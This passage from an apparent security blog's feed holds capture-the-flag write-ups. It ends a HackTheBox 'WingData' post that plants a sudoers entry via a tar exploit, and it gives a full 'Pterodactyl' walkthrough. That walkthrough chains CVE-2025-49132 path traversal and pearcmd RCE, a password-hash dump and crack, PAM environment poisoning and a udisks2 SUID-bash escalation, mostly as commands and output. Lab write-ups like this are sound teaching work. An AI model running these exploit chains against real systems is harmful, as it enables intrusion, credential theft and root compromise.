<span id="cb21-8"><a href="#cb21-8" aria-hidden="true" tabindex="-1"></a>        <span class="ex">\/</span>                  <span class="dt">\/</span>                  <span class="dt">\/</span>     <span class="dt">\/</span>         <span class="dt">\/</span>       <span class="dt">\/</span>               <span class="kw">|</span><span class="ex">__</span><span class="kw">|</span>           <span class="ex">\/</span>        <span class="dt">\/</span></span>
<span id="cb21-9"><a href="#cb21-9" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb21-10"><a href="#cb21-10" aria-hidden="true" tabindex="-1"></a>   <span class="ex">CVE-2025-4138</span> Auto-Sudo by kyakei</span>
<span id="cb21-11"><a href="#cb21-11" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb21-12"><a href="#cb21-12" aria-hidden="true" tabindex="-1"></a><span class="ex">[*]</span> Target User:  wacky</span>
<span id="cb21-13"><a href="#cb21-13" aria-hidden="true" tabindex="-1"></a><span class="ex">[*]</span> Target File:  /etc/sudoers.d/wacky</span>
<span id="cb21-14"><a href="#cb21-14" aria-hidden="true" tabindex="-1"></a><span class="ex">[*]</span> Payload:      wacky ALL=<span class="er">(</span><span class="ex">ALL</span><span class="kw">)</span> <span class="ex">NOPASSWD:</span> ALL</span>
<span id="cb21-15"><a href="#cb21-15" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb21-16"><a href="#cb21-16" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Exploit generated successfully: /tmp/backup_1002.tar</span>
<span id="cb21-17"><a href="#cb21-17" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Size: 112640 bytes</span>
<span id="cb21-18"><a href="#cb21-18" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb21-19"><a href="#cb21-19" aria-hidden="true" tabindex="-1"></a><span class="ex">[*]</span> Next Steps:</span>
<span id="cb21-20"><a href="#cb21-20" aria-hidden="true" tabindex="-1"></a>    <span class="ex">1.</span> Transfer this tar file to the target machine <span class="er">(</span><span class="cf">if</span> <span class="ex">remote</span><span class="kw">)</span><span class="bu">.</span></span>
<span id="cb21-21"><a href="#cb21-21" aria-hidden="true" tabindex="-1"></a>    <span class="ex">2.</span> Wait for a privileged process <span class="er">(</span><span class="ex">using</span> vulnerable Python<span class="kw">)</span> <span class="ex">to</span> extract it.</span>
<span id="cb21-22"><a href="#cb21-22" aria-hidden="true" tabindex="-1"></a>    <span class="ex">3.</span> OR, if you have a vulnerable SUID python script, run it against this tar.</span>
<span id="cb21-23"><a href="#cb21-23" aria-hidden="true" tabindex="-1"></a>    <span class="ex">4.</span> Once extracted, run: <span class="st">&#39;sudo su&#39;</span> to get a root shell.</span></code></pre></div>
<div class="sourceCode" id="cb22"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb22-1"><a href="#cb22-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> scp /tmp/backup_1002.tar wacky@wingdata.htb:/opt/backup_clients/backups/backup_1002.tar</span>
<span id="cb22-2"><a href="#cb22-2" aria-hidden="true" tabindex="-1"></a><span class="ex">wacky@wingdata.htb</span><span class="st">&#39;s password:</span></span>
<span id="cb22-3"><a href="#cb22-3" aria-hidden="true" tabindex="-1"></a><span class="st">backup_1002.tar</span></span></code></pre></div>
<div class="sourceCode" id="cb23"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb23-1"><a href="#cb23-1" aria-hidden="true" tabindex="-1"></a><span class="ex">wacky@wingdata:/tmp$</span> sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py <span class="at">-b</span> backup_1002.tar <span class="at">-r</span> restore_pwned</span>
<span id="cb23-2"><a href="#cb23-2" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Backup: backup_1002.tar</span>
<span id="cb23-3"><a href="#cb23-3" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Staging directory: /opt/backup_clients/restored_backups/restore_pwned</span>
<span id="cb23-4"><a href="#cb23-4" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Extraction completed in /opt/backup_clients/restored_backups/restore_pwned</span>
<span id="cb23-5"><a href="#cb23-5" aria-hidden="true" tabindex="-1"></a><span class="ex">wacky@wingdata:/tmp$</span> sudo su</span>
<span id="cb23-6"><a href="#cb23-6" aria-hidden="true" tabindex="-1"></a><span class="ex">root@wingdata:/tmp</span></span></code></pre></div>
<p>THX FOR READING!!!</p>
<p><img src="/images/wingdata/tony-sopranos-with-piocosta-5vut49gvwx03txs5.gif" /></p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: Pterodactyl</title>
    <link href="https://rivers.sh/posts/htb-pterodactyl/" />
    <id>https://rivers.sh/posts/htb-pterodactyl/</id>
    <published>2026-02-10T00:00:00Z</published>
    <updated>2026-02-10T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="reconnaissance"><a href="#reconnaissance" class="anchor">#</a>reconnaissance</h2>
<h3 id="nmap"><a href="#nmap" class="anchor">#</a>nmap</h3>
<p><img src="/images/pterodactyl/monitorland.png" alt="pterodactyl page" /></p>
<pre><code>nmap -sC -sV pterodactyl.htb --min-rate 1000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-08 01:26 CST
Nmap scan report for pterodactyl.htb (10.129.1.121)
Host is up (0.043s latency).
Not shown: 988 filtered tcp ports (no-response), 8 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)
| ssh-hostkey:
|   256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA)
|_  256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519)
80/tcp   open   http       nginx 1.21.5
|_http-title: My Minecraft Server
|_http-server-header: nginx/1.21.5
443/tcp  closed https
8080/tcp closed http-proxy

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.21 seconds</code></pre>
<p>also checked for minecraft:</p>
<pre><code>nmap -p 25565 -sV 10.129.2.123
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-09 14:52 EST
Nmap scan report for pterodactyl.htb (10.129.2.123)
Host is up (0.056s latency).

PORT      STATE    SERVICE   VERSION
25565/tcp filtered minecraft

Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds</code></pre>
<p>minecraft port is filtered - not directly accessible from our end.</p>
<h3 id="directory-enumeration"><a href="#directory-enumeration" class="anchor">#</a>directory enumeration</h3>
<pre><code>feroxbuster -u http://pterodactyl.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --filter-status 404

200      GET       92l      186w     1696c http://pterodactyl.htb/global.css
200      GET       28l      105w      920c http://pterodactyl.htb/changelog.txt
200      GET     9854l    93838w  4648650c http://pterodactyl.htb/Public/Header.png
200      GET       54l      123w     1686c http://pterodactyl.htb/
301      GET        7l       11w      169c http://pterodactyl.htb/Public =&gt; http://pterodactyl.htb/Public/</code></pre>
<h3 id="changelog-analysis"><a href="#changelog-analysis" class="anchor">#</a>changelog analysis</h3>
<p>the front page links to a <code>changelog.txt</code> which leaks a ton of useful information:</p>
<pre><code>MonitorLand - CHANGELOG.txt
======================================

Version 1.20.X

[Added] Main Website Deployment
--------------------------------
- Deployed the primary landing site for MonitorLand.
- Implemented homepage, and link for Minecraft server.
- Integrated site styling and dark-mode as primary.

[Linked] Subdomain Configuration
--------------------------------
- Added DNS and reverse proxy routing for play.pterodactyl.htb.
- Configured NGINX virtual host for subdomain forwarding.

[Installed] Pterodactyl Panel v1.11.10
--------------------------------------
- Installed Pterodactyl Panel.
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

[Enhanced] PHP Capabilities
-------------------------------------
- Enabled PHP-FPM for smoother website handling on all domains.
- Enabled PHP-PEAR for PHP package management.
- Added temporary PHP debugging via phpinfo()</code></pre>
<p>key takeaways:</p>
<ul>
<li><strong>Pterodactyl Panel v1.11.10</strong> - game server management panel, outdated version, likely vulnerable</li>
<li><strong>MariaDB 11.8.3</strong> - database backend, potential credential reuse or SQL injection vectors</li>
<li><strong>phpinfo() is enabled</strong> - free information disclosure</li>
<li><strong>PHP-PEAR is installed</strong> - this becomes important later</li>
</ul>
<h3 id="phpinfo-enumeration"><a href="#phpinfo-enumeration" class="anchor">#</a>phpinfo enumeration</h3>
<p>from the changelog we know <code>phpinfo()</code> debugging is enabled:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="ex">curl</span> http://pterodactyl.htb/phpinfo.php <span class="at">-o</span> phpinfo.html</span></code></pre></div>
<p>grepping through it reveals some interesting things:</p>
<pre><code>grep -i &quot;disable_functions&quot; phpinfo.html
&lt;tr&gt;&lt;td class=&quot;e&quot;&gt;disable_functions&lt;/td&gt;&lt;td class=&quot;v&quot;&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;td class=&quot;v&quot;&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;</code></pre>
<p>no disabled functions - meaning dangerous functions like <code>system()</code> and <code>exec()</code> are all available. if we get any PHP code execution, we have RCE.</p>
<p>also important for later:</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode html"><code class="sourceCode html"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a><span class="dt">&lt;</span><span class="kw">tr</span><span class="dt">&gt;&lt;</span><span class="kw">td</span><span class="ot"> class</span><span class="op">=</span><span class="st">&quot;e&quot;</span><span class="dt">&gt;</span>include_path<span class="dt">&lt;/</span><span class="kw">td</span><span class="dt">&gt;&lt;</span><span class="kw">td</span><span class="ot"> class</span><span class="op">=</span><span class="st">&quot;v&quot;</span><span class="dt">&gt;</span>.:/usr/share/php8:/usr/share/php/PEAR<span class="dt">&lt;/</span><span class="kw">td</span><span class="dt">&gt;&lt;</span><span class="kw">td</span><span class="ot"> class</span><span class="op">=</span><span class="st">&quot;v&quot;</span><span class="dt">&gt;</span>.:/usr/share/php8:/usr/share/php/PEAR<span class="dt">&lt;/</span><span class="kw">td</span><span class="dt">&gt;&lt;/</span><span class="kw">tr</span><span class="dt">&gt;</span></span></code></pre></div>
<p>the PHP include path shows PEAR lives at <code>/usr/share/php/PEAR</code>, not the default <code>/usr/share/php</code>. keep this in mind.</p>
<h3 id="subdomain-enumeration"><a href="#subdomain-enumeration" class="anchor">#</a>subdomain enumeration</h3>
<p>ran ffuf against the target, filtering out the default response size:</p>
<pre><code>ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://pterodactyl.htb -H &quot;Host: FUZZ.pterodactyl.htb&quot; -fs 145 -t 100

panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 445ms]</code></pre>
<p><img src="/images/pterodactyl/panel-login.png" alt="pterodactyl panel login page" /></p>
<p>found the Pterodactyl panel at <code>panel.pterodactyl.htb</code>.</p>
<p>i'll note here that i actually found <code>www</code> first using a different ffuf command with <code>-fw 1</code> instead of <code>-fs 145</code>, which returned a ton of false positives (all size 145 302 redirects). i had to re-run with the size filter to find the real result. lesson learned: always filter aggressively on subdomain enumeration.</p>
<h2 id="initial-foothold"><a href="#initial-foothold" class="anchor">#</a>initial foothold</h2>
<h3 id="cve-2025-49132---leaking-database-credentials"><a href="#cve-2025-49132---leaking-database-credentials" class="anchor">#</a>CVE-2025-49132 - leaking database credentials</h3>
<p>found a <a href="https://www.exploit-db.com/exploits/52341" target="_blank" rel="noopener">PoC</a> for CVE-2025-49132, a path traversal vulnerability in Pterodactyl Panel that allows reading Laravel config files (not a general LFI though - it's limited to the app's config).</p>
<p>my first attempt with the PoC came back negative, but that was because the PoC hardcodes the panel path. since our panel is at a subdomain, not the default path, the PoC needed to be pointed at the right URL:</p>
<div class="sourceCode" id="cb9"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb9-1"><a href="#cb9-1" aria-hidden="true" tabindex="-1"></a><span class="ex">python3</span> poc.py http://panel.pterodactyl.htb</span>
<span id="cb9-2"><a href="#cb9-2" aria-hidden="true" tabindex="-1"></a><span class="ex">http://panel.pterodactyl.htb/</span> =<span class="op">&gt;</span> pterodactyl:PteraPanel@127.0.0.1:3306/panel</span></code></pre></div>
<p>leaked database credentials:</p>
<ul>
<li><strong>username:</strong> <code>pterodactyl</code></li>
<li><strong>password:</strong> <code>PteraPanel</code></li>
<li><strong>database:</strong> <code>panel</code> on <code>127.0.0.1:3306</code></li>
</ul>
<p>these are local database credentials, not panel login credentials - they don't work on the web login.</p>
<h3 id="cve-2025-49132---remote-code-execution"><a href="#cve-2025-49132---remote-code-execution" class="anchor">#</a>CVE-2025-49132 - remote code execution</h3>
<p>found a <a href="https://github.com/YoyoChaud/CVE-2025-49132" target="_blank" rel="noopener">second PoC</a> that chains the same CVE into RCE via the <code>/locales/locale.json</code> endpoint.</p>
<p><strong>how it works:</strong> the <code>locale</code> and <code>namespace</code> parameters are passed directly to PHP's <code>include()</code> without sanitization or authentication. normally there's a <code>hash</code> parameter that prevents abuse, but it's not enforced in unpatched versions. the PoC leverages this to include <code>pearcmd.php</code> (remember PHP-PEAR from the changelog?) which can be abused to write and execute arbitrary PHP files.</p>
<p><strong>initial failures:</strong> my first several attempts all failed with "no output (pearcmd not present on target?)":</p>
<div class="sourceCode" id="cb10"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb10-1"><a href="#cb10-1" aria-hidden="true" tabindex="-1"></a><span class="ex">python3</span> rce.py http://panel.pterodactyl.htb <span class="at">--rce-cmd</span> <span class="st">&quot;id&quot;</span></span></code></pre></div>
<p>the PoC defaults to looking for <code>pearcmd.php</code> in <code>/usr/share/php</code>, but remember what phpinfo told us - the actual path is <code>/usr/share/php/PEAR</code>. once i corrected this:</p>
<div class="sourceCode" id="cb11"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb11-1"><a href="#cb11-1" aria-hidden="true" tabindex="-1"></a><span class="ex">python3</span> rce.py http://panel.pterodactyl.htb <span class="at">--rce-cmd</span> <span class="st">&quot;id&quot;</span> <span class="at">--pear-dir</span> /usr/share/php/PEAR</span></code></pre></div>
<pre><code>════════════════════════════════════════════════════════════
  RCE (pearcmd) — id
════════════════════════════════════════════════════════════
  [+] Output:
uid=474(wwwrun) gid=477(www) groups=477(www)</code></pre>
<p>we have RCE as <code>wwwrun</code>. however, i could not get a reverse shell to work no matter what i tried - different encodings, different shells, different listeners, different VPN regions. no idea why. so instead i just enumerated manually through the RCE.</p>
<h3 id="database-dumping-via-rce"><a href="#database-dumping-via-rce" class="anchor">#</a>database dumping via RCE</h3>
<p>since we had database credentials from earlier but couldn't connect directly (no mysql client on the box, or at least it wasn't cooperating), i wrote a PHP script via RCE to query the database:</p>
<div class="sourceCode" id="cb13"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb13-1"><a href="#cb13-1" aria-hidden="true" tabindex="-1"></a><span class="ex">python3</span> rce.py http://panel.pterodactyl.htb <span class="at">--rce-cmd</span> <span class="st">&quot;printf &#39;&lt;?php </span><span class="dt">\$</span><span class="st">c=new mysqli(</span><span class="dt">\&quot;</span><span class="st">127.0.0.1</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">pterodactyl</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">PteraPanel</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">panel</span><span class="dt">\&quot;</span><span class="st">);</span><span class="dt">\$</span><span class="st">r=</span><span class="dt">\$</span><span class="st">c-&gt;query(</span><span class="dt">\&quot;</span><span class="st">SELECT id,username,email,password FROM users</span><span class="dt">\&quot;</span><span class="st">);\nwhile(</span><span class="dt">\$</span><span class="st">row=</span><span class="dt">\$</span><span class="st">r-&gt;fetch_assoc()){echo </span><span class="dt">\$</span><span class="st">row[</span><span class="dt">\&quot;</span><span class="st">id</span><span class="dt">\&quot;</span><span class="st">].</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">.</span><span class="dt">\$</span><span class="st">row[</span><span class="dt">\&quot;</span><span class="st">username</span><span class="dt">\&quot;</span><span class="st">].</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">.</span><span class="dt">\$</span><span class="st">row[</span><span class="dt">\&quot;</span><span class="st">email</span><span class="dt">\&quot;</span><span class="st">].</span><span class="dt">\&quot;</span><span class="st">,</span><span class="dt">\&quot;</span><span class="st">.</span><span class="dt">\$</span><span class="st">row[</span><span class="dt">\&quot;</span><span class="st">password</span><span class="dt">\&quot;</span><span class="st">].</span><span class="dt">\&quot;\\</span><span class="st">n</span><span class="dt">\&quot;</span><span class="st">;} ?&gt;&#39; &gt; /tmp/q.php&quot;</span> <span class="at">--pear-dir</span> /usr/share/php/PEAR</span></code></pre></div>
<div class="sourceCode" id="cb14"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb14-1"><a href="#cb14-1" aria-hidden="true" tabindex="-1"></a><span class="ex">python3</span> rce.py http://panel.pterodactyl.htb <span class="at">--rce-cmd</span> <span class="st">&quot;php /tmp/q.php&quot;</span> <span class="at">--pear-dir</span> /usr/share/php/PEAR</span></code></pre></div>
<pre><code>[+] Output:
2,headmonitor,headmonitor@pterodactyl.htb,$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
3,phileasfogg3,phileasfogg3@pterodactyl.htb,$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi</code></pre>
<h3 id="cracking-hashes--ssh-access"><a href="#cracking-hashes--ssh-access" class="anchor">#</a>cracking hashes &amp; SSH access</h3>
<div class="sourceCode" id="cb16"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb16-1"><a href="#cb16-1" aria-hidden="true" tabindex="-1"></a><span class="ex">john</span> <span class="at">--wordlist</span><span class="op">=</span>/usr/share/wordlists/rockyou.txt hashes.txt</span>
<span id="cb16-2"><a href="#cb16-2" aria-hidden="true" tabindex="-1"></a><span class="ex">Loaded</span> 2 password hashes with 2 different salts <span class="er">(</span><span class="ex">bcrypt</span> [Blowfish 32/64 X3]<span class="kw">)</span></span>
<span id="cb16-3"><a href="#cb16-3" aria-hidden="true" tabindex="-1"></a><span class="ex">Will</span> run 16 OpenMP threads</span>
<span id="cb16-4"><a href="#cb16-4" aria-hidden="true" tabindex="-1"></a><span class="ex">!QAZ2wsx</span>         <span class="er">(</span><span class="ex">phileasfogg3</span><span class="kw">)</span></span></code></pre></div>
<p>only <code>phileasfogg3</code>'s hash cracked. SSH'd in with <code>phileasfogg3:!QAZ2wsx</code> and grabbed user.txt.</p>
<h2 id="privilege-escalation"><a href="#privilege-escalation" class="anchor">#</a>privilege escalation</h2>
<h3 id="sudo--the-targetpw-gotcha"><a href="#sudo--the-targetpw-gotcha" class="anchor">#</a>sudo &amp; the targetpw gotcha</h3>
<div class="sourceCode" id="cb17"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb17-1"><a href="#cb17-1" aria-hidden="true" tabindex="-1"></a><span class="ex">phileasfogg3@pterodactyl:~</span><span class="op">&gt;</span> sudo <span class="at">-l</span></span>
<span id="cb17-2"><a href="#cb17-2" aria-hidden="true" tabindex="-1"></a><span class="ex">User</span> phileasfogg3 may run the following commands on pterodactyl:</span>
<span id="cb17-3"><a href="#cb17-3" aria-hidden="true" tabindex="-1"></a>    <span class="kw">(</span><span class="ex">ALL</span><span class="kw">)</span> <span class="ex">ALL</span></span></code></pre></div>
<p>looks like we can run anything as sudo - but when you actually try, it asks for root's password, not ours. this had me stuck for a while until i noticed the <code>targetpw</code> setting in the sudo defaults. <code>targetpw</code> means sudo asks for the <strong>target user's</strong> password (root by default) instead of the invoking user's password. so <code>(ALL) ALL</code> is essentially useless without knowing root's password.</p>
<h3 id="cve-2025-6018---pam-environment-variable-poisoning"><a href="#cve-2025-6018---pam-environment-variable-poisoning" class="anchor">#</a>CVE-2025-6018 - PAM environment variable poisoning</h3>
<p>checking PAM version:</p>
<div class="sourceCode" id="cb18"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb18-1"><a href="#cb18-1" aria-hidden="true" tabindex="-1"></a><span class="ex">rpm</span> <span class="at">-qi</span> pam <span class="kw">|</span> <span class="fu">grep</span> <span class="at">-E</span> <span class="st">&quot;Version|Release&quot;</span></span>
<span id="cb18-2"><a href="#cb18-2" aria-hidden="true" tabindex="-1"></a><span class="ex">Version</span>     : 1.3.0</span>
<span id="cb18-3"><a href="#cb18-3" aria-hidden="true" tabindex="-1"></a><span class="ex">Release</span>     : 150000.6.66.1</span></code></pre></div>
<p>PAM 1.3.0 is vulnerable to CVE-2025-6018. the vulnerability is in the <code>pam_env</code> module where <code>user_readenv</code> is enabled by default. when a user logs in via SSH, <code>pam_env</code> reads <code>~/.pam_environment</code>, and any variables set there get processed by <code>pam_systemd</code> later in the session stack. this lets us inject environment variables that trick systemd into treating our session as a local graphical session.</p>
<p>verified the module is loaded:</p>
<div class="sourceCode" id="cb19"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb19-1"><a href="#cb19-1" aria-hidden="true" tabindex="-1"></a><span class="fu">grep</span> <span class="at">-r</span> <span class="st">&quot;pam_env&quot;</span> /etc/pam.d/</span>
<span id="cb19-2"><a href="#cb19-2" aria-hidden="true" tabindex="-1"></a><span class="ex">/etc/pam.d/common-auth:auth</span> required pam_env.so</span>
<span id="cb19-3"><a href="#cb19-3" aria-hidden="true" tabindex="-1"></a><span class="ex">/etc/pam.d/common-session:session</span> optional pam_env.so</span></code></pre></div>
<p>ran the <a href="https://github.com/ibrahmsql/CVE-2025-6018" target="_blank" rel="noopener">PoC</a>:</p>
<div class="sourceCode" id="cb20"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb20-1"><a href="#cb20-1" aria-hidden="true" tabindex="-1"></a><span class="ex">python3</span> CVE-2025-6018.py <span class="at">-i</span> 10.129.3.36 <span class="at">-u</span> phileasfogg3 <span class="at">-p</span> <span class="st">&#39;!QAZ2wsx&#39;</span></span></code></pre></div>
<p>this writes to <code>~/.pam_environment</code>:</p>
<pre><code>XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
XDG_SESSION_TYPE OVERRIDE=x11
XDG_SESSION_CLASS OVERRIDE=user
XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime</code></pre>
<p>after re-authenticating via SSH, our session is now seen as a local active graphical session by polkit. this is important because it unlocks polkit actions that are set to <code>implicit active: yes</code> - meaning they don't require authentication for "active" sessions. we're not root yet, but we now have access to udisks2 actions like mounting and resizing filesystems without authentication.</p>
<h3 id="cve-2025-6019---udisks2-xfs-resize-exploit"><a href="#cve-2025-6019---udisks2-xfs-resize-exploit" class="anchor">#</a>CVE-2025-6019 - udisks2 XFS resize exploit</h3>
<p>checking what polkit actions are available to active sessions:</p>
<div class="sourceCode" id="cb22"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb22-1"><a href="#cb22-1" aria-hidden="true" tabindex="-1"></a><span class="ex">pkaction</span> <span class="at">--verbose</span> <span class="kw">|</span> <span class="fu">grep</span> <span class="st">&quot;implicit active: yes&quot;</span></span></code></pre></div>
<p>found several udisks2 actions available without auth:</p>
<ul>
<li><code>org.freedesktop.udisks2.loop-setup</code></li>
<li><code>org.freedesktop.udisks2.filesystem-mount</code></li>
<li><code>org.freedesktop.udisks2.modify-device</code></li>
</ul>
<p>my first instinct was to create an ext4 image with a SUID bash, mount it via udisks2, and run it. problem: udisks2 mounts with <code>nosuid</code> by default, and you can't override it:</p>
<div class="sourceCode" id="cb23"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb23-1"><a href="#cb23-1" aria-hidden="true" tabindex="-1"></a><span class="ex">udisksctl</span> mount <span class="at">-b</span> /dev/loop0 <span class="at">-o</span> suid,dev,exec</span>
<span id="cb23-2"><a href="#cb23-2" aria-hidden="true" tabindex="-1"></a><span class="co"># Error: Mount option `suid` is not allowed</span></span></code></pre></div>
<p>this is where CVE-2025-6019 comes in. when udisks2 resizes an XFS filesystem via D-Bus, it temporarily mounts it <strong>without the <code>nosuid</code> flag</strong>. so the attack is:</p>
<ol type="1">
<li>create an XFS image containing a SUID root bash</li>
<li>set up a loop device and keep the filesystem busy so it can't be unmounted</li>
<li>trigger a resize via D-Bus, which remounts without <code>nosuid</code></li>
<li>execute the SUID bash</li>
</ol>
<p>used this <a href="https://github.com/guinea-offensive-security/CVE-2025-6019" target="_blank" rel="noopener">PoC</a> to generate the XFS image locally (needs root to set SUID), then transferred it to the target:</p>
<div class="sourceCode" id="cb24"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb24-1"><a href="#cb24-1" aria-hidden="true" tabindex="-1"></a><span class="co"># on target</span></span>
<span id="cb24-2"><a href="#cb24-2" aria-hidden="true" tabindex="-1"></a><span class="bu">cd</span> /tmp</span>
<span id="cb24-3"><a href="#cb24-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb24-4"><a href="#cb24-4" aria-hidden="true" tabindex="-1"></a><span class="co"># stop gvfs volume monitor to prevent auto-mounting interference</span></span>
<span id="cb24-5"><a href="#cb24-5" aria-hidden="true" tabindex="-1"></a><span class="fu">killall</span> <span class="at">-KILL</span> gvfs-udisks2-volume-monitor <span class="dv">2</span><span class="op">&gt;</span>/dev/null</span>
<span id="cb24-6"><a href="#cb24-6" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb24-7"><a href="#cb24-7" aria-hidden="true" tabindex="-1"></a><span class="co"># create loop device from XFS image</span></span>
<span id="cb24-8"><a href="#cb24-8" aria-hidden="true" tabindex="-1"></a><span class="va">LOOP_DEV</span><span class="op">=</span><span class="va">$(</span><span class="ex">udisksctl</span> loop-setup <span class="at">--file</span> ./xfs.image <span class="at">--no-user-interaction</span> <span class="kw">|</span> <span class="fu">grep</span> <span class="at">-o</span> <span class="st">&#39;/dev/loop[0-9]*&#39;</span><span class="va">)</span></span>
<span id="cb24-9"><a href="#cb24-9" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb24-10"><a href="#cb24-10" aria-hidden="true" tabindex="-1"></a><span class="co"># keep filesystem busy in background to prevent unmounting</span></span>
<span id="cb24-11"><a href="#cb24-11" aria-hidden="true" tabindex="-1"></a><span class="cf">while</span> <span class="fu">true</span><span class="kw">;</span> <span class="cf">do</span> <span class="ex">/tmp/blockdev*/bash</span> <span class="at">-c</span> <span class="st">&#39;sleep 10; ls -l /tmp/blockdev*/bash&#39;</span> <span class="kw">&amp;&amp;</span> <span class="cf">break</span><span class="kw">;</span> <span class="cf">done</span> <span class="dv">2</span><span class="op">&gt;</span>/dev/null <span class="kw">&amp;</span></span>
<span id="cb24-12"><a href="#cb24-12" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb24-13"><a href="#cb24-13" aria-hidden="true" tabindex="-1"></a><span class="co"># trigger the vulnerability - resize causes a remount without nosuid</span></span>
<span id="cb24-14"><a href="#cb24-14" aria-hidden="true" tabindex="-1"></a><span class="ex">gdbus</span> call <span class="at">--system</span> <span class="at">--dest</span> org.freedesktop.UDisks2 <span class="dt">\</span></span>
<span id="cb24-15"><a href="#cb24-15" aria-hidden="true" tabindex="-1"></a>  <span class="at">--object-path</span> <span class="st">&quot;/org/freedesktop/UDisks2/block_devices/</span><span class="va">${LOOP_DEV</span><span class="op">##</span><span class="pp">*</span>/<span class="va">}</span><span class="st">&quot;</span> <span class="dt">\</span></span>
<span id="cb24-16"><a href="#cb24-16" aria-hidden="true" tabindex="-1"></a>  <span class="at">--method</span> org.freedesktop.UDisks2.Filesystem.Resize 0 <span class="st">&#39;{}&#39;</span></span>
<span id="cb24-17"><a href="#cb24-17" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb24-18"><a href="#cb24-18" aria-hidden="true" tabindex="-1"></a><span class="fu">sleep</span> 2</span>
<span id="cb24-19"><a href="#cb24-19" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb24-20"><a href="#cb24-20" aria-hidden="true" tabindex="-1"></a><span class="co"># find and execute SUID bash</span></span>
<span id="cb24-21"><a href="#cb24-21" aria-hidden="true" tabindex="-1"></a><span class="fu">find</span> /tmp <span class="at">-path</span> <span class="st">&quot;/tmp/blockdev*/bash&quot;</span> <span class="at">-perm</span> <span class="at">-4000</span> <span class="at">-exec</span> {} <span class="at">-p</span> <span class="dt">\;</span></span></code></pre></div>
<pre><code>bash-5.3# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

bash-5.3# whoami
root

bash-5.3# cat /root/root.txt
&lt;flag&gt;</code></pre>
<p>rooted.</p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: Facts</title>
    <link href="https://rivers.sh/posts/htb-facts/" />
    <id>https://rivers.sh/posts/htb-facts/</id>
    <published>2026-02-04T00:00:00Z</published>
    <updated>2026-02-04T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>ROP Emporium: callme</title>
    <link href="https://rivers.sh/posts/ropemporium-callme/" />
    <id>https://rivers.sh/posts/ropemporium-callme/</id>
    <published>2026-01-28T00:00:00Z</published>
    <updated>2026-01-28T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h2 id="challenge-info"><a href="#challenge-info" class="anchor">#</a>challenge info</h2>
<p>the challenge description already gives a ton of information by default;</p>
<blockquote>
